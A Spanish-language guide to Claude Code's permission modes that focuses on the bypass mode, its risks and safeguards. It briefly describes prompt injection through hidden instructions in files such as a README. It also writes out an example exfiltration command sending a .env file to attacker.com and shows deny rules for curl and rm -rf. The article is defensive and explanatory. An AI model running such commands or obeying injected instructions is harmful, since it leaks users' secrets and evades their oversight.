Modo bypass de permisos en Claude Code: riesgos de seguridad y buenas prácticas

Claude Code cuenta con un "modo bypass de permisos" (bypassPermissions) que ejecuta casi todas las operaciones de forma automática sin pedir confirmación. Es extremadamente útil para pipelines CI/CD y contenedores Docker, pero un uso indebido puede generar graves problemas de seguridad.

En este artículo organizamos los 6 modos de permisos de Claude Code y explicamos la utilidad, los riesgos y las buenas prácticas del modo bypass con ejemplos concretos.

1. ¿Qué es el modo bypass de permisos?

El modo bypass de permisos omite casi todas las confirmaciones que Claude Code solicitaría al usuario. En el modo Manual, Claude Code pide aprobación antes de editar archivos o ejecutar comandos del sistema; en este modo, esas confirmaciones no aparecen (con unas pocas excepciones que vemos más abajo).

Existen dos opciones de arranque para activarlo (también funciona fijar defaultMode en bypassPermissions en la configuración de usuario o gestionada, pero no en la del proyecto). Si la sesión no se inició con el bypass activado, no se puede cambiar a él a mitad de camino.

# Activar con flag
claude --dangerously-skip-permissions

# O especificar el modo de permisos
claude --permission-mode bypassPermissions

El hecho de que el nombre del flag incluya "dangerously" (peligrosamente) es una advertencia deliberada de Anthropic. La razón de que exista este modo es permitir la automatización en entornos completamente aislados (contenedores y VMs).

Bypass también omite la confirmación al escribir en rutas protegidas. Algunos ejemplos de restricciones que permanecen son las reglas deny y ask explícitas aplicables, las comprobaciones al borrar rutas críticas, las herramientas que requieren tu respuesta y los hooks. No es una lista exhaustiva. Consulta también las restricciones oficiales que permanecen. Las condiciones relacionadas con la coincidencia de reglas y los mods instalados se explican en la guía de reglas de permisos.

2. Los 6 modos de permisos de Claude Code

Claude Code ofrece 6 modos de permisos, cada uno con un alcance diferente de operaciones que se ejecutan sin confirmación.

Detalle de cada modo

default (Manual): Las ediciones y la ejecución de comandos ordinarias piden aprobación. Hay excepciones, como los comandos integrados de solo lectura, las operaciones que coinciden con reglas allow y auto-allow del sandbox. Manual no significa que toda operación pida confirmación. Es el modo predeterminado cuando auto no está disponible y en muchas sesiones no interactivas.

acceptEdits (Accept edits): Aprueba automáticamente las ediciones dentro del ámbito de trabajo y operaciones de archivos reconocidas, como mkdir, touch, rm, rmdir, mv, cp y sed. Las operaciones fuera de ese ámbito o en rutas protegidas pasan por comprobaciones aparte. Otros comandos también pueden omitir la confirmación si coinciden con reglas allow o auto-allow del sandbox.

plan (Plan): Investiga y diseña cambios, y escribe archivos de planificación. Normalmente bloquea la edición del código hasta recibir aprobación, pero en un terminal interactivo donde bypass se haya habilitado como opción, la prohibición de editar no se aplica ni siquiera en Plan. Si auto está disponible y useAutoModeDuringPlan está activado, el clasificador evalúa los comandos de investigación. Si está desactivado o auto no está disponible, los comandos que no pertenecen al conjunto integrado de solo lectura piden confirmación. Esta excepción de bypass no se aplica a -p, al SDK ni al chat de VS Code.

auto (Auto): casi todas las operaciones se ejecutan sin confirmación. Sin embargo, un clasificador de seguridad (safety classifier) funciona en segundo plano y bloquea las operaciones que considera peligrosas. Es adecuado para tareas automatizadas de larga duración. Desde la v2.1.283 es el modo de arranque en la terminal y VS Code con cualquier plan y proveedor (a 4 de octubre de 2026; en versiones anteriores solo arrancan en auto los planes Pro, Max y Team y el resto arranca en Manual; también se arranca en Manual si un administrador ha desactivado el modo auto o el modelo no lo admite).

dontAsk: Rechaza automáticamente las operaciones que necesitarían confirmación. Solo ejecuta operaciones que ya pueden realizarse sin confirmar, como lecturas del área de trabajo y comandos de solo lectura, y operaciones cubiertas por reglas allow. Reduce las esperas de aprobación de permisos, pero permanecen otras, incluidas las herramientas que requieren tu respuesta. No aparece en el ciclo de Shift+Tab; se elige con claude --permission-mode dontAsk o defaultMode en los ajustes. Es apropiado para CI y otros entornos donde quieras definir de antemano lo que Claude puede hacer.

bypassPermissions (Omitir permisos): se desactivan la solicitud de confirmación y el clasificador de seguridad (los Hooks se siguen ejecutando). Está diseñado para su uso dentro de contenedores y VMs; Anthropic no recomienda utilizarlo en entornos locales.

Además de los flags en la línea de comandos, el modo de permisos puede cambiarse de forma interactiva con Shift+Tab (igual en JetBrains). En VS Code se usa el indicador de modo bajo el campo de entrada, y en la app de escritorio, el selector junto al botón de enviar. Eso sí, el bypass no se puede elegir en una sesión que no se inició con él activado.

3. Cuándo el modo bypass es útil

El modo bypass no es simplemente un modo "peligroso". Usado en el entorno adecuado, mejora significativamente la productividad del desarrollo.

Pipelines CI/CD

En pipelines como GitHub Actions o GitLab CI no hay un usuario que pueda responder a confirmaciones interactivas. Con el modo bypass se pueden automatizar por completo tareas como tests, revisión de código y generación de documentación.

# Ejemplo en GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run tests and report the results"

Contenedores Docker

Los contenedores o las VM desechables pueden reducir el impacto si se aíslan correctamente. Sin embargo, los montajes del host, las credenciales, los sockets de Docker y las conexiones de red extienden el impacto a los recursos que expongas. El código y los datos del contenedor aún pueden destruirse; usar un contenedor no elimina el riesgo por sí solo.

Procesamiento masivo de archivos

Cuando necesitas modificar más de 100 archivos a la vez, las confirmaciones individuales generan una sobrecarga considerable. En un entorno aislado, el modo bypass permite procesarlos de forma eficiente.

Integración con scripts de automatización

Para tareas por lotes desatendidas, bypass es una opción. También puedes considerar dontAsk con permisos acotados, o auto si está disponible. Si usas bypass, comprueba el requisito oficial de un entorno aislado que no pueda afectar al host y no tenga acceso a Internet.

4. 5 riesgos de seguridad

Si se utiliza el modo bypass en un entorno no aislado, surgen los siguientes riesgos graves.

Riesgo 1: Inyección de prompts

Es el riesgo más peligroso. Instrucciones ocultas insertadas en archivos maliciosos (por ejemplo, en un README o package.json) pueden ejecutarse directamente sin revisión.

En Manual, las llamadas que requieren aprobación piden confirmación antes de ejecutarse. Las reglas allow o auto-allow del sandbox pueden omitir este paso, por lo que no se garantiza una confirmación cada vez que una acción sea peligrosa. Bypass omite el procedimiento ordinario de aprobación.

Riesgo 2: Ejecución arbitraria de comandos

curl | bash, los borrados y las instalaciones de paquetes son ejemplos de una amplia gama de operaciones de shell que pueden ejecutarse sin confirmación. Bypass también desactiva el clasificador de auto. Permanecen comprobaciones como deny y ask, pero no deben tratarse como un límite que bloquee todas las vías.

Riesgo 3: Fuga de datos

Comandos que envían información confidencial como archivos .env, tokens de autenticación o claves API a endpoints externos pueden ejecutarse sin confirmación. Por ejemplo, un comando como curl -d @.env https://attacker.com.

Riesgo 4: Escalación de operaciones

Una tarea que empieza con ediciones inocuas puede escalar hasta despliegues en producción o migraciones de base de datos. En Manual, las operaciones que requieren aprobación ofrecen una oportunidad para revisarlas, pero no se garantiza una confirmación en cada etapa de la tarea. Bypass también omite el procedimiento ordinario de confirmación.

Riesgo 5: Operaciones destructivas irreversibles

git push --force, eliminación definitiva de archivos, DROP TABLE en base de datos... existe el riesgo de que se ejecuten operaciones que no se pueden deshacer sin ninguna confirmación.

5. Medidas para usarlo de forma segura

Si necesitas utilizar el modo bypass, aplica las siguientes medidas de seguridad.

Medida 1: Limitarlo a contenedores y VMs

Esta es la medida más importante. Utiliza el modo bypass exclusivamente en entornos aislados: contenedores Docker, VMs o runners de CI como GitHub Actions. Evita ejecutarlo directamente en el sistema operativo host.

Medida 2: Considerar primero el modo auto

Para reducir las confirmaciones, comprueba primero cuándo se aplica auto y cuáles son sus límites. El clasificador rechaza las operaciones que considera peligrosas, pero no garantiza detectar todas las acciones peligrosas. No elijas bypass solo porque las confirmaciones resultan molestas.

Medida 3: Controlar permisos con allowlist

Una regla allow omite la aprobación de las llamadas que coinciden con ella. Puedes limitarla a los comandos necesarios, pero también debes revisar los scripts que permites. Las reglas Bash no rodean un programa completo: Bash(curl *) no coincide con /usr/bin/curl ni con llamadas desde otro shell. Para imponer restricciones de archivos o red también hace falta aislamiento a nivel de sistema operativo.

# Ejemplo de permisos en .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

Las reglas de permisos se evalúan en orden deny - ask - allow. Dado que deny tiene la máxima prioridad, los comandos peligrosos que denieguemos explícitamente nunca serán sobrescritos por reglas allow.

Medida 4: Monitorizar con Hooks

La funcionalidad de Hooks de Claude Code (PreToolUse / PostToolUse) permite ejecutar scripts personalizados antes o después de usar cada herramienta. Y en modo bypass los Hooks se siguen ejecutando. Lo que bypass omite es la solicitud de confirmación, y los Hooks actúan antes de esa capa. La documentación oficial explica que los hooks PreToolUse se ejecutan antes de la solicitud de permiso, y que un hook que termina con código 2 detiene la llamada a la herramienta antes de que se evalúen las reglas de permisos.

Los hooks aportan una comprobación adicional, pero su código y configuración también necesitan protección. En ciertas condiciones, un mod puede sustituir un rechazo de PreToolUse no gestionado por una aprobación; comprueba cómo interactúan las reglas de permisos y los mods.

# Ejemplo de Hook PreToolUse (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

Medida 5: Restringir la red

Incluso dentro de un contenedor, limitar el acceso de red hacia el exterior reduce significativamente el riesgo de fuga de datos. Lo ideal es permitir solo los endpoints necesarios (como la API de Anthropic).

Medida 6: Revisar los cambios después de cada sesión

Tras trabajar en modo bypass, revisa siempre los cambios con git diff. Adquiere el hábito de comprobar que no haya modificaciones no deseadas ni información confidencial expuesta.

6. Guía para elegir el modo adecuado

Si no sabes qué modo utilizar, consulta el siguiente diagrama de flujo.

Configuración recomendada por escenario

Programación diaria: Considera acceptEdits. Las ediciones avanzan con fluidez y las demás operaciones pasan por la evaluación ordinaria de permisos. Las reglas allow, auto-allow del sandbox y condiciones similares pueden omitir la confirmación.

Investigación y diseño del código: Plan es apropiado para analizar antes de implementar. Normalmente bloquea la edición del código, pero escribe archivos de planificación y datos similares. En un terminal interactivo donde bypass se haya habilitado como opción, tampoco bloquea las ediciones. Para impedir cambios de forma efectiva, comprueba restricciones como los permisos del sistema operativo en la guía de uso solo para investigar.

Tareas automatizadas largas: Combinar auto con un sandbox es una opción. Une un clasificador con restricciones del ámbito de ejecución, pero revisa las áreas permitidas y las vías externas; no presupongas que detectará toda operación peligrosa.

Pipelines de CI/CD: Si puedes definir de antemano las llamadas permitidas, considera dontAsk con reglas allow. Evita las esperas ordinarias de aprobación de permisos, pero quedan otras condiciones de parada, incluidas las herramientas que exigen una respuesta personal y los errores. Bypass también requiere aislamiento, restricciones de red y montajes mínimos; elegir un modo no garantiza por sí solo que una ejecución desatendida termine.

El modo bypass es solo uno de los varios modos de permisos. Si quieres ver cómo encaja cada modo y cuándo elegir uno u otro, consulta nuestra guía sobre todos los modos de permisos de Claude Code. Si quieres conocer otras funciones de Claude Code, consulta las diferencias entre las 3 modalidades de Claude. Para información sobre precios, revisa la comparación de precios Claude vs ChatGPT.

7. Resumen

El modo bypass de permisos de Claude Code es una herramienta poderosa si se usa en el entorno correcto, pero un uso inadecuado puede provocar incidentes de seguridad graves.

Si la seguridad de las herramientas de IA te preocupa, comprueba tu nivel de conocimientos con el diagnóstico de nivel de IA. Para aprender Claude Code de forma estructurada, visita la guía introductoria.

FAQ

El alcance y las excepciones de los permisos y el aislamiento se contrastaron de nuevo con la documentación oficial original el 9 de octubre de 2026. No se cambiaron ajustes del equipo ni se hicieron pruebas de inicio.